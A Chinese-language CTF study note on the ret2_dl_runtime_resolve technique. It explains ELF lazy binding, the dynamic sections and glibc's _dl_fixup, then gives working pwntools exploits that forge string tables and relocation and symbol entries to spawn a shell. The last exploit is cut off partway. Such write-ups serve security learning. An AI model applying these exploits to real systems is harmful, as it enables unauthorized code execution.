目录
  1. 1. 前置知识:函数执行流程
  2. 2. ELF关于动态链接的一些关键section
    1. 2.1. .dynamic
    2. 2.2. .dynsym
    3. 2.3. .dynstr
    4. 2.4. .rel.plt
  3. 3. gilbc2.23 _dl_fixup源码分析
  4. 4. 利用
    1. 4.1. 伪造 .dynsym
    2. 4.2. 伪造Elf32_Rel
    3. 4.3. 伪造link_map
ret2_dl_runtime_resolve学习笔记

参考链接:
https://www.freebuf.com/articles/system/170661.html
https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#more
https://bbs.pediy.com/thread-227034.htm
https://bbs.pediy.com/thread-253833.htm
https://blog.csdn.net/conansonic/article/details/54634142

前置知识:函数执行流程

因为程序分为静态链接跟动态链接,因为好多库函数在程序中并不一定都用到,所以在处理动态链接程序的时候,elf文件会采取一种叫做延迟绑定(lazy binding)的技术,也就是当我们位于动态链接库的函数被调用的时候,编译器才会真正确定这个函数在进程中的位置,下面我们通过一个程序来展示这个过程。

1
2
3
4
5
6
7
8
9
10
11
//gcc fun.c -fno-stack-protector -m32 -o fun
#include <unistd.h>
#include <string.h>
void fun(){
char buffer[0x20];
read(0,buffer,0x200);
}
int main(){
fun();
return 0;
}

以read函数为例,下断点到read@plt

1
2
3
pwndbg> b *0x80482e0
Breakpoint 3 at 0x80482e0
pwndbg> c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
►  0x80482e0  <read@plt>                  jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+12] <0x804a00c> 
// 0x804a00c是read的got.plt表地址,里面存放着0x80482e6
0x80482e6 <read@plt+6> push 0 // _dl_runtime_resolve第二个参数
0x80482eb <read@plt+11> jmp 0x80482d0

0x80482d0 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004> // _dl_runtime_resolve第一个参数
0x80482d6 jmp dword ptr [0x804a008] <0xf7fee000>

0xf7fee000 <_dl_runtime_resolve> push eax
0xf7fee001 <_dl_runtime_resolve+1> push ecx
0xf7fee002 <_dl_runtime_resolve+2> push edx
0xf7fee003 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10]
0xf7fee007 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc]
0xf7fee00b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe77e0> //执行完_dl_fixup后eax存放着glibc中read函数的地址
0xf7fee010 <_dl_runtime_resolve+16> pop edx
0xf7fee011 <_dl_runtime_resolve+17> mov ecx, dword ptr [esp]
0xf7fee014 <_dl_runtime_resolve+20> mov dword ptr [esp], eax //把read函数地址存到esp
0xf7fee017 <_dl_runtime_resolve+23> mov eax, dword ptr [esp + 4]
0xf7fee01b <_dl_runtime_resolve+27> ret 0xc //返回到 read函数
0xf7fee01e nop
1
2
pwndbg> x/4xw 0x804a00c
0x804a00c: 0x080482e6 0xf7df4540 0x00000000 0x00000000
1
2
pwndbg> x/4xw 0x804a004
0x804a004: 0xf7ffd918 0xf7fee000 0x080482e6 0xf7df4540

通过上面一步一步调试,可以清楚看到函数执行流程,call read@plt –>read@got.plt –>read@plt+6 –>_dl_runtime_resolve(link_map,rel_offest) –> _dl_fixup –> ret _dl_runtime_resolve+16 –> ret read
其中_dl_runtime_resolve函数的两个参数 link_map=0xf7ffd918,rel_offest=0,执行完_dl_runtime_resolve()函数后,就返回到了read函数。

但绑定的过程是在 _dl_fixup中实现的,接下通过_dl_fixup的源码分析一下函数绑定的实现

1
2
3
4
5
6
7
pwndbg> stack 6
00:0000│ esp 0xffffcf04 —▸ 0xf7ffd918 ◂— 0x0
01:0004│ 0xffffcf08 ◂— 0x0
02:0008│ 0xffffcf0c —▸ 0x8048424 (fun+25) ◂— add esp, 0x10
03:000c│ 0xffffcf10 ◂— 0x0
04:0010│ 0xffffcf14 —▸ 0xffffcf20 ◂— 0x8000
05:0014│ 0xffffcf18 ◂— 0x200

1
2
3
0xf7fee00b <_dl_runtime_resolve+11>    call   _dl_fixup <0xf7fe77e0>
arg[0]: 0xffffcf94 ◂— 0x0
arg[1]: 0xffffcf70 ◂— 0x1

借用Veritas501大佬的图更直观的了解这个过程

ELF关于动态链接的一些关键section

先熟悉一下几个动态链接的一些关键section,以便于分析源码

.dynamic

包含了一些关于动态链接的关键信息,在这个fun上它长这样,事实上这个section所有程序都差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
LOAD:08049F14 _DYNAMIC        Elf32_Dyn <1, <1>>      ; DATA XREF: LOAD:080480BC↑o
LOAD:08049F14 ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:08049F14 ; DT_NEEDED libc.so.6
LOAD:08049F1C Elf32_Dyn <0Ch, <80482A8h>> ; DT_INIT
LOAD:08049F24 Elf32_Dyn <0Dh, <80484B4h>> ; DT_FINI
LOAD:08049F2C Elf32_Dyn <19h, <8049F08h>> ; DT_INIT_ARRAY
LOAD:08049F34 Elf32_Dyn <1Bh, <4>> ; DT_INIT_ARRAYSZ
LOAD:08049F3C Elf32_Dyn <1Ah, <8049F0Ch>> ; DT_FINI_ARRAY
LOAD:08049F44 Elf32_Dyn <1Ch, <4>> ; DT_FINI_ARRAYSZ
LOAD:08049F4C Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
LOAD:08049F54 Elf32_Dyn <5, <804821Ch>> ; DT_STRTAB
LOAD:08049F5C Elf32_Dyn <6, <80481CCh>> ; DT_SYMTAB
LOAD:08049F64 Elf32_Dyn <0Ah, <4Ah>> ; DT_STRSZ
LOAD:08049F6C Elf32_Dyn <0Bh, <10h>> ; DT_SYMENT
LOAD:08049F74 Elf32_Dyn <15h, <0>> ; DT_DEBUG
LOAD:08049F7C Elf32_Dyn <3, <804A000h>> ; DT_PLTGOT
LOAD:08049F84 Elf32_Dyn <2, <10h>> ; DT_PLTRELSZ
LOAD:08049F8C Elf32_Dyn <14h, <11h>> ; DT_PLTREL
LOAD:08049F94 Elf32_Dyn <17h, <8048298h>> ; DT_JMPREL
LOAD:08049F9C Elf32_Dyn <11h, <8048290h>> ; DT_REL
LOAD:08049FA4 Elf32_Dyn <12h, <8>> ; DT_RELSZ
LOAD:08049FAC Elf32_Dyn <13h, <8>> ; DT_RELENT
LOAD:08049FB4 Elf32_Dyn <6FFFFFFEh, <8048270h>> ; DT_VERNEED
LOAD:08049FBC Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM
LOAD:08049FC4 Elf32_Dyn <6FFFFFF0h, <8048266h>> ; DT_VERSYM
LOAD:08049FCC Elf32_Dyn <0> ; DT_NULL

这个section的用处就是他包含了很多动态链接所需的关键信息,我们现在只关心DT_STRTAB, DT_SYMTAB, DT_JMPREL这三项,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针,可以readelf -S fun看一下各个段的地址,会发现这三个section的地址跟在ida所示的地址是一样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
readelf -S fun
共有 31 个节头,从偏移量 0x17f0 开始:

节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 000050 10 A 6 1 4
[ 6] .dynstr STRTAB 0804821c 00021c 00004a 00 A 0 0 1
[ 7] .gnu.version VERSYM 08048266 000266 00000a 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048270 000270 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048290 000290 000008 08 A 5 0 4
[10] .rel.plt REL 08048298 000298 000010 08 AI 5 24 4
[11] .init PROGBITS 080482a8 0002a8 000023 00 AX 0 0 4
[12] .plt PROGBITS 080482d0 0002d0 000030 04 AX 0 0 16
[13] .plt.got PROGBITS 08048300 000300 000008 00 AX 0 0 8
[14] .text PROGBITS 08048310 000310 0001a2 00 AX 0 0 16
[15] .fini PROGBITS 080484b4 0004b4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 080484c8 0004c8 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 080484d0 0004d0 000034 00 A 0 0 4
[18] .eh_frame PROGBITS 08048504 000504 0000ec 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 //dynamic
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000014 04 WA 0 0 4
[25] .data PROGBITS 0804a014 001014 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a01c 00101c 000004 00 WA 0 0 1
[27] .comment PROGBITS 00000000 00101c 000035 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 0016e3 00010a 00 0 0 1
[29] .symtab SYMTAB 00000000 001054 000460 10 30 47 4
[30] .strtab STRTAB 00000000 0014b4 00022f 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

.dynsym

1
2
3
4
5
6
7
8
LOAD:080481CC ; ELF Symbol Table
LOAD:080481CC Elf32_Sym <0>
LOAD:080481DC Elf32_Sym <offset aRead - offset byte_804821C, 0, 0, 12h, 0, 0> ; "read"
LOAD:080481EC Elf32_Sym <offset aGmonStart - offset byte_804821C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:080481FC Elf32_Sym <offset aLibcStartMain - offset byte_804821C, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:080481FC 0>
LOAD:0804820C Elf32_Sym <offset aIoStdinUsed - offset byte_804821C, \ ; "_IO_stdin_used"
LOAD:0804820C offset _IO_stdin_used, 4, 11h, 0, 10h>

这个东西,是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比方说上面的puts。结构体定义如下

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

.dynstr

一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,包括导入函数名,比方说这里很明显有个read。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移,比方说,在这里,就是字符串相对0x080481AC的偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
LOAD:0804821C ; ELF String Table
LOAD:0804821C byte_804821C db 0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804821C ; LOAD:080481EC↑o ...
LOAD:0804821D aLibcSo6 db 'libc.so.6',0
LOAD:08048227 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:0804820C↑o
LOAD:08048236 aRead db 'read',0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804823B aLibcStartMain db '__libc_start_main',0
LOAD:0804823B ; DATA XREF: LOAD:080481FC↑o
LOAD:0804824D aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:080481EC↑o
LOAD:0804825C aGlibc20 db 'GLIBC_2.0',0
LOAD:08048266 align 4
LOAD:08048268 dd 2, 10002h, 10001h, 1, 10h, 0
LOAD:08048280 dd 0D696910h, 20000h, 40h, 0

.rel.plt

1
2
3
4
5
LOAD:08048290 ; ELF REL Relocation Table
LOAD:08048290 Elf32_Rel <8049FFCh, 206h> ; R_386_GLOB_DAT __gmon_start__
LOAD:08048298 ; ELF JMPREL Relocation Table
LOAD:08048298 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT read
LOAD:080482A0 Elf32_Rel <804A010h, 307h> ; R_386_JMP_SLOT __libc_start_main

这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:

1
2
3
4
5
6
7
8
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,
//如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;

gilbc2.23 _dl_fixup源码分析

glibc源码阅读网站 https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#61
glibc源码下载网站 http://ftp.gnu.org/gnu/glibc/

_dl_fixup函数的两个参数 struct link_map *l , ELFW(Word) reloc _arg都在glibc/elf/link.h中定义

1
2
3
4
5
6
7
8
9
10
struct link_map
{
/* 前几个成员是使用调试器的协议的一部分.
这与SVR4中使用的格式相同. */

ElfW(Addr) l_addr; /* ELF文件中的地址与内存中的地址之间的差异*/
char *l_name; /* 绝对文件名对象. */
ElfW(Dyn) *l_ld; /* 共享对象的动态部分 .dynamic */
struct link_map *l_next, *l_prev; /* 后一个链和前一个链.*/
};

1
2
3
4
5
/* We use this macro to refer to ELF types independent of the native wordsize.
`ElfW(TYPE)' is used in place of `Elf32_TYPE' or `Elf64_TYPE'. */
#define ElfW(type) _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t) _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t) e##w##t

_dl_fixup 在glibc/elf/dl-runtime.c
首先说第一个参数,是一个link_map的指针,它包含了.dynamic的指针,通过这个link_map,_dl_runtime_resolve函数可以访问到.dynamic这个section

而第二个参数,是当前要调用的导入函数在.rel.plt中的偏移(不过64位的话就直接是index下标),比方说这里,read就是0,__libc_start_main就是1*sizeof(Elf32_Rel)=8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
_dl_fixup (  
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS  
    ELF_MACHINE_RUNTIME_FIXUP_ARGS,  
# endif  
    struct link_map *l, ElfW(Word) reloc_arg) {  
    //获取symtab(存放dynsym的数组)  
    const ElfW(Sym) *const symtab  
        = (const void *) D_PTR (l, l_info[DT_SYMTAB]);  
    //获取strtab(存放符号名的数组)   
    const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);  
    //获取reloc_arg对应的rel.plt项   
    const PLTREL *const reloc  
        = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);  
    //获取reloc_arg对应的dynsym   
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];  
    const ElfW(Sym) *refsym = sym;  
    //指向对应的got表,以便将解析结果写回去   
    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);  
    lookup_t result;  
    DL_FIXUP_VALUE_TYPE value;  
  
    /* Sanity check that we're really looking at a PLT relocation.  */  
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);  
  
    /* Look up the target symbol.  If the normal lookup rules are not 
       used don't look in the global scope.  */  
    if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {  
        const struct r_found_version *version = NULL;  
  
        if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) {  
            const ElfW(Half) *vernum =  
                (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);  
            ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;  
            version = &l->l_versions[ndx];  
            if (version->hash == 0)  
                version = NULL;  
        }  
  
        /* We need to keep the scope around so do some locking.  This is 
        not necessary for objects which cannot be unloaded or when 
         we are not using any threads (yet).  */  
        int flags = DL_LOOKUP_ADD_DEPENDENCY;  
        if (!RTLD_SINGLE_THREAD_P) {  
            THREAD_GSCOPE_SET_FLAG ();  
            flags |= DL_LOOKUP_GSCOPE_LOCK;  
        }  
  
#ifdef RTLD_ENABLE_FOREIGN_CALL  
        RTLD_ENABLE_FOREIGN_CALL;  
#endif  
        //根据符号名,搜索对应的函数,返回libc基地址,并将符号信息保存到sym中   
        result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,  
                                      version, ELF_RTYPE_CLASS_PLT, flags, NULL);  
  
        /* We are done with the global scope.  */  
        if (!RTLD_SINGLE_THREAD_P)  
            THREAD_GSCOPE_RESET_FLAG ();  
  
#ifdef RTLD_FINALIZE_FOREIGN_CALL  
        RTLD_FINALIZE_FOREIGN_CALL;  
#endif  
  
        //得到结果   
        value = DL_FIXUP_MAKE_VALUE (result,  
                                     sym ? (LOOKUP_VALUE_ADDRESS (result)  
                                            + sym->st_value) : 0);  
    } else {  
        /* We already found the symbol.  The module (and therefore its load 
        address) is also known.  */  
        value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);  
        result = l;  
    }  
  
    /* And now perhaps the relocation addend.  */  
    value = elf_machine_plt_value (l, reloc, value);  
  
    if (sym != NULL  
            && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))  
        value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));  
  
    /* Finally, fix up the plt itself.  */  
    if (__glibc_unlikely (GLRO(dl_bind_not)))  
        return value;  
    //将结果写回到got表中   
    return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);  
}

_dl_fixup函数

  • 1 _dl_fixup函数首先通过宏D_PTR从用link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  • 2 rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  • 3 rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  • 4 .dynstr + sym->st_name得出符号名字符串指针
  • 5 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  • 6 调用这个函数

利用

那么,这个怎么去利用呢,有多种利用方式

伪造 .dynsym

即使保护全没开 .dynsym也是不可写的,但可以
通过改写.dynamic的DT_STRTAB来伪造ELF String Table,也就是.dynsym
这个只有在checksec时No RELRO可行,即.dynamic可写。因为ret2dl-resolve会从.dynamic里面拿.dynstr字符串表的指针,然后加上offset取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间,当resolve的时候,就能resolve成我们所指定的任意库函数。比方说,原本是一个free函数,我们就把原本是free字符串的那个偏移位置设为system字符串,第一次调用free(“bin/sh”)(因为只有第一次才会resolve),就等于调用了system(“/bin/sh”)。

例题就是RCTF的RNote4,题目是一道堆溢出,NO RELRO而且NO PIE溢出到后面的指针可以实现任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
unsigned __int64 edit()
{
unsigned __int8 a1; // [rsp+Eh] [rbp-12h]
unsigned __int8 size; // [rsp+Fh] [rbp-11h]
note *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
a1 = 0;
read_buf((char *)&a1, 1u);
if ( !notes[a1] )
exit(-1);
v3 = notes[a1];
size = 0;
read_buf((char *)&size, 1u);
read_buf(v3->buf, size); // heap overflow堆溢出
return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 add()
{
unsigned __int8 size; // [rsp+Bh] [rbp-15h]
int i; // [rsp+Ch] [rbp-14h]
note *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( number > 32 )
exit(-1);
size = 0;
v3 = (note *)calloc(0x10uLL, 1uLL);
if ( !v3 )
exit(-1);
read_buf((char *)&size, 1u);
if ( !size )
exit(-1);
v3->buf = (char *)calloc(size, 1uLL); //堆中存放了指针,所以可以通过这个任意写
if ( !v3->buf )
exit(-1);
read_buf(v3->buf, size);
v3->size = size;
for ( i = 0; i <= 31 && notes[i]; ++i )
;
notes[i] = v3;
++number;
return __readfsqword(0x28u) ^ v4;
}

所以呢,可以先add两个note,然后编辑第一个note使得堆溢出到第二个note的指针,然后再修改第二个note,实现任意写。至于写什么,刚刚也说了,先写.dynamic指向字符串表的指针,使其指向一块可写内存,比如.bss,然后再写这块内存,使得相应偏移出刚好有个system\x00。exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

g_local=True
#e=ELF('./libc.so.6')
#context.log_level='debug'
if g_local:
sh =process('./RNote4')#env={'LD_PRELOAD':'./libc.so.6'}
gdb.attach(sh)
else:
sh = remote("rnote4.2018.teamrois.cn", 6767)

def add(content):
assert len(content) < 256
sh.send("\x01")
sh.send(chr(len(content)))
sh.send(content)

def edit(idx, content):
assert idx < 32 and len(content) < 256
sh.send("\x02")
sh.send(chr(idx))
sh.send(chr(len(content)))
sh.send(content)

def delete(idx):
assert idx < 32
sh.send("\x03")
sh.send(chr(idx))

#伪造的字符串表,(0x457-0x3f8)刚好是"free\x00"字符串的偏移
payload = "C" * (0x457-0x3f8) + "system\x00"
#先新建两个notes
add("/bin/sh\x00" + "A" * 0x10)
add("/bin/sh\x00" + "B" * 0x10)
#溢出时尽量保证堆块不被破坏,不过这里不会再做堆的操作了其实也无所谓
edit(0, "/bin/sh\x00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x601EB0))
#将0x601EB0,即.dynamic的字符串表指针,写成0x6020C8
edit(1, p64(0x6020C8))

edit(0, "/bin/sh\x00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x6020C8))
#在0x6020C8处写入伪造的字符串表
edit(1, payload)

#会第一次调用free,所以实际上是system("/bin/sh")被调用,如前面所说
delete(0)
sh.interactive()

伪造Elf32_Rel

通过操纵第二个参数,使其指向我们所构造的Elf32_Rel

当.dynamic不可写时,那么以上方法就没用了,所以有第二种利用方法
上面我们讲完了函数的解析流程 主要是由dl_runtime_resolve(link_map,rel_offset),之所以它能解析不同函数的地址,以为我们传入的rel_offset不同,因此,把传入的rel_offset改为我们希望的函数的偏移,便可以执行我们希望的函数,新的问题来了,.rel.plt中不一定存在我们希望的函数,因此就需要我们伪造一个.rel.plt,将rel_offset修改为一个比较大的值,在.rel.plt+rel_offset的地方是我们伪造好的,结构跟.rel.plt相同的数据,这样我们就相当于伪造好了reloc(重定位入口),程序又会根据r_info找到对应的.dynsym中的symbols,我们再次伪造symbols的内容->st_name,使得到的str在我们的可控地址内,然后在.dynstr+st_name地址处放置库函数字符串例如:system。

所以,最终的利用思路,大概是

1
2
3
4
.plt:0000000000400610 ; __unwind {
.plt:0000000000400610 push cs:qword_602008
.plt:0000000000400616 jmp cs:qword_602010
.plt:0000000000400616 sub_400610 endp

构造ROP,跳转到resolve的PLT,push link_map的位置,就是上面所示的这个地方,也就是要调用_dl_runtime_resolve的地方,此时,栈中必须要有已经伪造好的指向伪造的Elf32_Rel的偏移

伪造一个很大的rel_offset,一直偏移到bss段(一般这里可读可写,且位于.rel.plt的高地址)

伪造Elf32_Rel即.rel.plt的结构,由RELSZ可知,它的大小为8字节(commend: readelf -d fun 可以看到),我们需要fake r_offset,以及r_info,r_offset一般是函数在.got.plt的地址,r_info可以用来计算在symtab中的index并且保存了类型,所以我们可以让伪造的symtab的数据紧跟在这段数据后面,这样我们就可以计算出它的index: index=(bss+0×100-.dynsym)/0×10(因为SYMENT指明大小为16字节),类型必须为7,所以我们就可以计算出r_info的值
r_info=(index << 8 ) | 0x7

伪造symtab,这一部分包含四个字段,我们只需要改st_name部分即可,其余部分按照程序原有的值赋值,st_name表示了字符串相对strtab的偏移,我们可以将字符串写在紧邻这一部分的高地址处

伪造strtab,这里我们直接将所需库函数的字符串写入即可,例如system
dl_runtime_resolve函数便会将system函数的地址,写到read函数对应的got表中去,再次调用read就相当于调用了system函数

利用思路如下:

第一次调用read函数,返回地址再溢出成read函数,这次参数给一个.bss的地址,里面放我们的payload,包括所有伪造的数据结构以及ROP。注意ROP要放在数据结构的前面,不然ROP调用时有可能污染我们伪造的数据结构,而且前面要预留一段空间给ROP所调用的函数用。调用完第二个read之后,ROP到leave; retn的地址,以便切栈切到在.bss中我们构造的下一个ROP链

1
2
3
4
payload1 = 'a'*0x2C 
payload1 += p32(pop_ebp_ret) + p32(bss + 0x800)
payload1 += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_stage) + p32(0x1000)
sh.send(payload1)

第二次调用read函数,此时要sendROP链以及所有相关的伪造数据结构完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# coding=utf-8
from pwn import *
p=process('./fun')

pop_ebp_ret=0x080484ab
leave_ret=0x08048378


fake_stack_size=0x800
bss=0x0804a01c
read_plt=0x080482e0
read_got=0x0804a00c
bss_stage=bss+fake_stack_size
dynsym=0x080481cc
dynstr=0x0804821c
dl_runtime_resolve=0x080482d0
relplt=0x08048298


rel_offset=bss_stage+28-relplt
fake_sym_addr=bss_stage+36
align=0x10-((fake_sym_addr-dynsym)&0xf) #为了16字节对齐
print 'align==>'+hex(align)
fake_sym_addr=fake_sym_addr+align
index=(fake_sym_addr-dynsym)/0x10
print 'index==>'+hex(index)
r_info=(index<<8)|0x7
print 'r_info==>'+hex(r_info)

fake_raloc=p32(read_got)+p32(r_info)
st_name=fake_sym_addr-dynstr+16
fake_sym=p32(st_name)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)

#gdb.attach(p)
payload1 = 'a'*0x2C
payload1 += p32(pop_ebp_ret) + p32(bss + 0x800)
payload1 += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_stage) + p32(0x1000)

p.send(payload1)

binsh='/bin/sh'

payload='aaaa'
payload+=p32(dl_runtime_resolve)
payload+=p32(rel_offset)
payload+='aaaa'
payload+=p32(bss_stage+80)
payload+='aaaa'
payload+='aaaa'
payload+=fake_raloc
payload+='a'*align
payload+=fake_sym
payload+='system\0'
payload+='a'*(80-len(payload))
payload+=binsh+'\x00'
payload+='a'*(100-len(payload))
p.send(payload)
p.interactive()

64位情况下,伪造rel.plt变得不可行,因为在

1
2
3
4
5
6
7
8
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL
  { 
    const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); 
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff
    version = &l->l_versions[ndx]; 
    if (version->hash == 0
      version = NULL
  }

这里,出现了访问未映射的内存
主要是reloc->r_info过大的原因,因为我们在bss段伪造的数据,而bss段一般位于0x600000
然后真正的rel.plt位于0x400000内,导致过大。
如果我们在里0x400000处有可读写的区域,或许就可以成功

因此,我们得另外想办法,那么得回过来看源代码

1
2
3
4
5
6
7
8
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {  
        ...  
else {  
        /* We already found the symbol.  The module (and therefore its load 
        address) is also known.  */  
        value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);  
        result = l;  
}

我们到最外层的else里去,如果,我们伪造link_map,让sym->st_value为某个已经解析了的函数的地址,比如read,让l->l_addr为我们需要的函数(system)到read的偏移,这样,l->l_addr + sym->st_value就是我们需要的函数地址

如果,我们把read_got – 0x8处开始当成sym,那么sym->st_value就是read的地址,并且sym->st_other正好也不为0,绕过了if,一举两得

为了伪造link_map,我们需要知道link_map的结构,在glibc/include/link.h文件里,link_map结构比较复杂,但是,我们只需伪造需要用到的数据即可,

以jiavis oj level3_x64为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
context.log_level = 'debug'
elf = ELF('./level3_x64')
libc = elf.libc
p = process('./level3_x64')
# gdb.attach(p,'b*0x400618')
'''
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
}Elf64_Sym;

typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
}Elf64_Rela;

typedef struct
{
